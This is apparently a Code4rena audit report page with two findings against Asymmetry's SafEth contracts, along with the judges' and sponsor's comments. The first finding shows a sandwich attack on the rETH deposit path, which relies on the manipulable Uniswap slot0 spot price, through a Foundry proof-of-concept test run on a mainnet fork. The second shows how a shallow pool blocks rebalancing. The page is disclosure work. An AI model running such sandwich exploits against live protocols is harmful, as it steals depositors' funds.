Platform: Code4rena
Start Date: 24/03/2023
Pot Size: $49,200 USDC
Total HM: 20
Participants: 246
Period: 6 days
Judge: Picodes
Total Solo HM: 1
Id: 226
League: ETH
Rank: 38/246
Findings: 3
Award: $176.01
π Selected for report: 0
π Solo Findings: 0
π Selected for report: HHK
Also found by: 019EC6E2, 0Kage, 0x52, 0xRobocop, 0xTraub, 0xbepresent, 0xepley, 0xfusion, 0xl51, 4lulz, Bahurum, BanPaleo, Bauer, CodeFoxInc, Dug, HollaDieWaldfee, IgorZuk, Lirios, MadWookie, MiloTruck, RedTiger, Ruhum, SaeedAlipoor01988, Shogoki, SunSec, ToonVH, Toshii, UdarTeam, Viktor_Cortess, a3yip6, auditor0517, aviggiano, bearonbike, bytes032, carlitox477, carrotsmuggler, chalex, deliriusz, ernestognw, fs0c, handsomegiraffe, igingu, jasonxiale, kaden, koxuan, latt1ce, m_Rassska, n1punp, nemveer, nowonder92, peanuts, pontifex, roelio, rvierdiiev, shalaamum, shuklaayush, skidog, tank, teddav, top1st, ulqiorra, wait, wen, yac
0.1353 USDC - $0.14
https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/derivatives/Reth.sol#L156 https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/derivatives/Reth.sol#L176-L183 https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/derivatives/Reth.sol#L236-L241
Reth.deposit()
uses Uniswap V3 to trade WETH to rETH, when it's impossible to deposit into RocketPool and that's the case at the time of writing this report. The problem is that it uses spot price from IUniswapV3Pool.slot0
, which is susceptible to manipulation. The protocol protects against that by adding maximum slippage, but this won't work if a MEV bot sandwitches the transaction, lowering the price a lot. Then the victim's transaction slippage will be calculated using manipulated price, allowing for higher price slippage than expected.
Users loose significant amounts of rETH on slippage.
MEV bot sees large deposit and sandwiches it, first driving the price down by 10%. This is relatively easy, because rETH / ETH Uni V3 pool is highly concentrated. The price manipulation won't revert the victim's deposit, because the minPrice is taken from Reth.poolPrice()
, which returns spot price (already manipulated) from Uniswap:
function poolPrice() private view returns (uint256) { ... IUniswapV3Pool pool = IUniswapV3Pool( factory.getPool(rocketTokenRETHAddress, W_ETH_ADDRESS, 500) // @info it's this one => https://etherscan.io/address/0xa4e0faA58465A2D369aa21B3e42d43374c6F9613 ); (uint160 sqrtPriceX96, , , , , , ) = pool.slot0(); return (sqrtPriceX96 * (uint(sqrtPriceX96)) * (1e18)) >> (96 * 2);
It's then used to calculate minOut
:
function deposit() external payable onlyOwner returns (uint256) { ... if (!poolCanDeposit(msg.value)) { uint rethPerEth = (10 ** 36) / poolPrice(); uint256 minOut = ((((rethPerEth * msg.value) / 10 ** 18) * ((10 ** 18 - maxSlippage))) / 10 ** 18); ...
This way a user is stolen from rETH part of the deposit.
While testing this, I was even able to DoS the transfer in Reth.poolPrice()
function in lines:
(uint160 sqrtPriceX96, , , , , , ) = pool.slot0(); return (sqrtPriceX96 * (uint(sqrtPriceX96)) * (1e18)) >> (96 * 2);
with 2000 ETH. Then, sqrtPriceX96 becomes circa 1461446703485210103287273052203988822378723970341
, which overflows and DoSes the transfer.
In order to run the test, get foundry files from https://gist.github.com/deliriusz/5eb92d3138db9943cf6da06caa6c0aa0 .
then run the test using
forge test -vvv -m "sand" --fork-block-number 16933064 --fork-url $MAINNET_URL
the test case:
function test_sandwitchingUserDeposit() public { // run this with following command: // forge test -vvv -m "sand" --fork-block-number 16933064 --fork-url $MAINNET_URL // block is hardcoded, because pool liquidity changes constantly setDerivatives(); // register price before manipulation uint poolPriceBefore = poolPrice(); console.log("pool price before ", poolPriceBefore); address WETH = rethEth.W_ETH_ADDRESS(); vm.label(WETH, "WETH9"); vm.label(RETH_ERC20, "rETH"); vm.label(rethEth.UNISWAP_ROUTER(), "UniV3Router"); // let's assume that MEV bot is in possession of 1800 ETH deal(WETH, mev, 1800 ether); uint mevWethBefore = IERC20(WETH).balanceOf(mev); console.log("pool price before sandwich ", poolPrice()); vm.startPrank(mev); IERC20(WETH).approve(rethEth.UNISWAP_ROUTER(), 2000 ether); IERC20(RETH_ERC20).approve(rethEth.UNISWAP_ROUTER(), 2000 ether); vm.stopPrank(); vm.startPrank(mev); ISwapRouter.ExactInputSingleParams memory params2 = ISwapRouter .ExactInputSingleParams({ tokenIn: WETH, tokenOut: RETH_ERC20, fee: 500, recipient: mev, amountIn: 1750 ether, amountOutMinimum: 0, sqrtPriceLimitX96: 0 }); uint amountOut = ISwapRouter(rethEth.UNISWAP_ROUTER()).exactInputSingle(params2); vm.stopPrank(); console.log("received=", amountOut); uint poolPriceAfter = poolPrice(); console.log("pool price after frontrunning ", poolPriceAfter); uint priceChange = poolPriceAfter - poolPriceBefore ; vm.deal(alice, 12 ether); console.log("price change after frontrunning (1e16 = 1%) ", priceChange); assertTrue(priceChange > 2e16); // assert that the price changes more than 2%, even though max price slippage is set to 1% uint balanceBefore = alice.balance; vm.startPrank(alice); safEthProxyWrapper.stake{value: 10 ether}(); vm.stopPrank(); uint balanceAfter = alice.balance; // now do the backrunning vm.startPrank(mev); ISwapRouter.ExactInputSingleParams memory params = ISwapRouter .ExactInputSingleParams({ tokenIn: RETH_ERC20, tokenOut: WETH, fee: 500, recipient: mev, amountIn: amountOut, amountOutMinimum: 0, sqrtPriceLimitX96: 0 }); uint amountOut2 = ISwapRouter(rethEth.UNISWAP_ROUTER()).exactInputSingle(params); vm.stopPrank(); }
Manual analysis
Use Uniswap TWAP to get current price of rETH
#0 - c4-pre-sort
2023-03-31T18:55:17Z
0xSorryNotSorry marked the issue as high quality report
#1 - c4-pre-sort
2023-04-04T11:36:25Z
0xSorryNotSorry marked the issue as duplicate of #601
#2 - c4-judge
2023-04-21T16:11:56Z
Picodes marked the issue as duplicate of #1125
#3 - c4-judge
2023-04-21T16:14:31Z
Picodes marked the issue as satisfactory
133.8143 USDC - $133.81
https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/SafEth.sol#L63 https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/derivatives/Reth.sol#L228-L242
RocketPool has a limit of 5000 Ether that can be staked at the same time, due to the nature of their validator nodes management. At this moment, whole pool is filled at 100%, which means, that in order to get any more rETH, user has to get it from a secondary market. This is part of the logic that Assymetry uses: when the limit is reached, it swaps WETH for rETH on UniswapV3 and deposits it into Reth
derivative contract. The problem is that rETH / ETH Uni V3 pool used is highly concentrated and relatively shallow, which will fail SafEth.rebalanceToWeights()
due to exceeding allowed slippage. The amount of Ether under management, that exceeds 50% slippage is 2000 ETH in Reth
derivative, which is nothing compared to the possible Assymetry TVL.
Due to shallow rETH / ETH pool, weigths rebalancing is not possible.
rETH / ETH Uni V3 pool has at the time of writing this report a value 1 rETH = 1.0682 ETH, with the liquidity being highly concentrated around this value. At 1 rETH above 1.0377, there is only a dust amount (< 0.001 ETH) covered, which means that it's really easy to manipulate the pool and steal rTEH from users. This means that if RocketPool is unable to receive more Ether, Reth
derivative contract will trade ETH to rETH on Uniswap. Given that right now, RocketPool already has it's balance maxed out to 5k ETH and cannot receive more on mainnet, means that the Reth
derivative will have to use Uniswap.
function poolCanDeposit(uint256 _amount) private view returns (bool) { ... return rocketDepositPool.getBalance() + _amount <= rocketDAOProtocolSettingsDeposit.getMaximumDepositPoolSize() && _amount >= rocketDAOProtocolSettingsDeposit.getMinimumDeposit(); }
Calling SafEth.rebalanceToWeights()
may incur up to 99.9% slippage, DoSing rebalancing
The biggest problem may occur during SafEth.rebalanceToWeights()
, which unstakes and stakes the amounts again, accounting for new weigths.
function rebalanceToWeights() external onlyOwner { uint256 ethAmountBefore = address(this).balance; for (uint i = 0; i < derivativeCount; i++) { if (derivatives[i].balance() > 0) derivatives[i].withdraw(derivatives[i].balance()); } uint256 ethAmountAfter = address(this).balance; uint256 ethAmountToRebalance = ethAmountAfter - ethAmountBefore; for (uint i = 0; i < derivativeCount; i++) { if (weights[i] == 0 || ethAmountToRebalance == 0) continue; uint256 ethAmount = (ethAmountToRebalance * weights[i]) / totalWeight; // Price will change due to slippage derivatives[i].deposit{value: ethAmount}(); } emit Rebalanced(); }
Let's say that SafEth is under management of 6000 ETH already, with 33% allocated to RocketPool. As shown in the test, smaller amount is enough to drive the price down by more than a half. That means that the protocol won't be able to rebalance the weigths, because of maxSlippage
check. Because the rebalance is crucial for functioning of the protocol, it would be DoSed, hence there will be no option to change weigths.
In order to run the test, get foundry files from https://gist.github.com/deliriusz/5eb92d3138db9943cf6da06caa6c0aa0 .
then run the test using
forge test -vvv -m "UniswapPriceManipulation"
The test case
function test_UniswapPriceManipulation() public { setDerivatives(); vm.deal(alice, 5100 ether); vm.deal(bob, 5100 ether); address rocketDepositPoolAddress = RocketStorageInterface( // @audit QA make a function out of it rethEth.ROCKET_STORAGE_ADDRESS() ).getAddress( keccak256( abi.encodePacked("contract.address", "rocketDepositPool") ) ); RocketDepositPoolInterface rocketDepositPool = RocketDepositPoolInterface( rocketDepositPoolAddress ); uint rpBalance = rocketDepositPool.getBalance(); // RocketPool can hold max 5000 ether right now if (rpBalance < 5000 ether) { vm.prank(bob); rocketDepositPool.deposit{value: 5000 ether - rpBalance}(); // make sure that we fill the remaining balance, to trigger swap on Uniswap during deposit } console.log("alice funds before=", alice.balance); vm.startPrank(alice); for (uint i; i < 20; i++) { safEthProxyWrapper.stake{value: 200 ether}(); // we just simulate users deposits, or up to 4000 ETH } vm.stopPrank(); console.log(safEthProxyWrapper.balanceOf(alice)); safEthProxyWrapper.setMaxSlippage(0, 5e17); // set 50% slippage for rETH safEthProxyWrapper.rebalanceToWeights(); // !! this line actually reverts from Uniswap "Too little received", which means that price impact is bigger than 50% safEthProxyWrapper.unstake(safEthProxyWrapper.balanceOf(alice)); console.log("alice funds after=", alice.balance); }
It will revert with "Too little received" from Uniswap V3 even though slippage is set to 50%.
Manual analysis
#0 - c4-pre-sort
2023-03-31T18:58:30Z
0xSorryNotSorry marked the issue as high quality report
#1 - c4-pre-sort
2023-04-04T20:26:42Z
0xSorryNotSorry marked the issue as primary issue
#2 - c4-sponsor
2023-04-07T15:39:33Z
elmutt marked the issue as sponsor acknowledged
#3 - c4-sponsor
2023-04-07T15:39:38Z
elmutt marked the issue as disagree with severity
#4 - elmutt
2023-04-07T15:40:04Z
Thanks. We are going to introduce partial rebalance functions to target individual derivatives with any amount
#5 - Picodes
2023-04-19T14:00:36Z
The finding is valid, but:
onlyOwner
and not essential for the protocol to behave properlyOverall, Medium severity is definitely more appropriate. Quoting the rules: "The function of the protocol or its availability could be impacted, or leak value with a hypothetical attack path with stated assumptions, but external requirements."
#6 - c4-judge
2023-04-19T14:00:41Z
Picodes marked the issue as satisfactory
#7 - c4-judge
2023-04-19T14:00:47Z
Picodes changed the severity to 2 (Med Risk)
#8 - c4-judge
2023-04-23T11:39:42Z
Picodes marked the issue as duplicate of #749
#9 - c4-judge
2023-04-24T21:31:40Z
Picodes marked the issue as not a duplicate
#10 - c4-judge
2023-04-24T21:33:03Z
Picodes marked the issue as duplicate of #765